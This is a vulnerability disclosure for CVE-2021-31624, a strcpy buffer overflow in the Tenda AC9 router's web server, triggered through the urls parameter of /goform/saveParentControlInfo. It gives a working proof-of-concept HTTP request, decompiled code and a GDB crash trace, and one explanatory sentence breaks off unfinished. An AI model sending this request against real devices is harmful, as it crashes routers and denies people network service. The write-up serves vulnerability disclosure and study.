CVE-2021-31624

1、Basci information

vendor: Tenda

product: AC9 and so on

version: V1.0V15.03.05.19（6318）、V3.0V15.03.06.42_multi and so on

Vulnerability type: buffer overflow

Vulnerability Effect: Denial of Service

2、Principle description of vulnerability technology

Affected Vulnerability Components:

- File name: bin/httpd
- function: router device information

3、Vulnerability value

Stable reproducibility: Yes

exploit conditions：

- attack vector type: neighboring network
- Stability of exploit: every attack can be successful
- Whether the product is configured by default: there are loopholes in the functional components that are enabled at the factory

4、PoC

```
POST /goform/saveParentControlInfo HTTP/1.1
Host: 192.168.56.102
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: password=lqetgb
Content-Length: 1700

time=1&urls=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

5、Vulnerability principle

5.1 static analysis

As shown in the following figure, because the passed-in `urls` parameter was not checked, the malicious parameter was directly passed to the 142-line `strcpy` function, which caused the buffer overflow in the later operation of the program, and finally caused the effect of denial of service

```
135  else
136  {
137    for ( i = 0; i <= 6; ++i )
138      *((_BYTE *)v32 + i + 66) = 1;
139  }
140  v2 = atoi(nptr);
141  *((_DWORD *)v32 + 19) = v2;
142  strcpy((char *)v32 + 80, v39);
143  v3 = atoi(v40) != 0;
144  *((_BYTE *)v32 + 592) = v3;
145  v4 = atoi(v42) != 0;
146  *(_BYTE *)v32 = v4;
147  *((_BYTE *)v32 + 1) = 0;
148  v5 = atoi(v35) != 0;
149  *((_BYTE *)v32 + 593) = v5;
150  v47 = sub_833AC(0, &v24, ptr);
151  if ( v47 <= 0 )
152  {
153    v46 = bm_get_id_list("parent.control.id", &v26, 30);
154    if ( v46 )
155    {
156      if ( v46 > 29 )
```

5.2 dynamic analysis

Use GDB for debugging, and the results are shown in the following figure

```
Program received signal SIGSEGV, Segmentation fault.
0xff5c6514 in strcpy () from /home/cuc/workspace/firmware/Tenda/_ac9_kf_V15.03.05.19(6318_)_cn.bin.extracted/squashfs-root/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
 R0   0x123b50 ◂— 0x61616161 ('aaaa')
*R1   0x1234e1 ◂— 0x61616161 ('aaaa')
*R2   0x61
*R3   0x124000
 R4   0xfd3b8 —▸ 0xfd270 ◂— 0x1
 R5   0x11f0e0 ◂— '/goform/saveParentControlInfo'
 R6   0x1
 R7   0xfffef79d ◂— './bin/httpd'
 R8   0xeb74 (_init) ◂— mov    ip, sp
 R9   0x2e368 ◂— push   {r4, fp, lr}
 R10  0xfffef5f8 ◂— 0x0
 R11  0xfffef2a4 —▸ 0x17110 (websFormHandler+336) ◂— mov    r3, #1
*R12  0xfd810 (strcpy@got.plt) —▸ 0xff5c6508 (strcpy) ◂— mov    r3, r0
 SP   0xfffeeea8 —▸ 0xfffef00e ◂— 0x0
*PC   0xff5c6514 (strcpy+12) ◂— strb   r2, [r3], #1
[ DISASM ]
► 0xff5c6514 <strcpy+12>    strb   r2, [r3], #1
  0xff5c6518 <strcpy+16>    bne    #strcpy+4 <strcpy+4>
   ↓
  0xff5c650c <strcpy+4>     ldrb   r2, [r1], #1
  0xff5c6510 <strcpy+8>     cmp    r2, #0
  0xff5c6514 <strcpy+12>    strb   r2, [r3], #1
  0xff5c6518 <strcpy+16>    bne    #strcpy+4 <strcpy+4>
   ↓
  0xff5c650c <strcpy+4>     ldrb   r2, [r1], #1
  0xff5c6510 <strcpy+8>     cmp    r2, #0
  0xff5c6514 <strcpy+12>    strb   r2, [r3], #1
  0xff5c6518 <strcpy+16>    bne    #strcpy+4 <strcpy+4>
   ↓
  0xff5c650c <strcpy+4>     ldrb   r2, [r1], #1
[ STACK ]
00:0000 sp  0xfffeeea8 —▸ 0xfffef00e ◂— 0x0
01:0004     0xfffeeeac —▸ 0xfffef00f ◂— 0x0
02:0008     0xfffeeeb0 —▸ 0xfffef010 ◂— 0x61000000
03:000c     0xfffeeeb4 —▸ 0xfffef011 ◂— 0x610000
04:0010     0xfffeeeb8 —▸ 0xfffef012 ◂— 0x6100
05:0014     0xfffeeebc —▸ 0xdad28 (cookie_suffix) ◂— rsbseq r7, r7, r1, lsr r1 /* '1qw' */
06:0018     0xfffeeec0 ◂— 0x0
07:001c     0xfffeeec4 —▸ 0x1220b0 ◂— 0x656d6974 ('time')
[ BACKTRACE ]
► f 0 ff5c6514 strcpy+12
```

The malicious parameter we constructed is too long a character, which makes the `strcpy` of 142 lines pass in this parameter directly, resulting in a segment error at the address `0xff5c6514` , and then the system crashes and exits directly

The direct reason is that too long parameters cause the value of `R3` register to change. When the program is executed into the `strcpy` function, specifically to the address `0xff5c6514` , the statement `strb R2, [R3], #1` originally intended to write the byte data of `register R2 into the register with R3 as its address, but malicious data caused R3`

6、CNVD reference

CNVD reference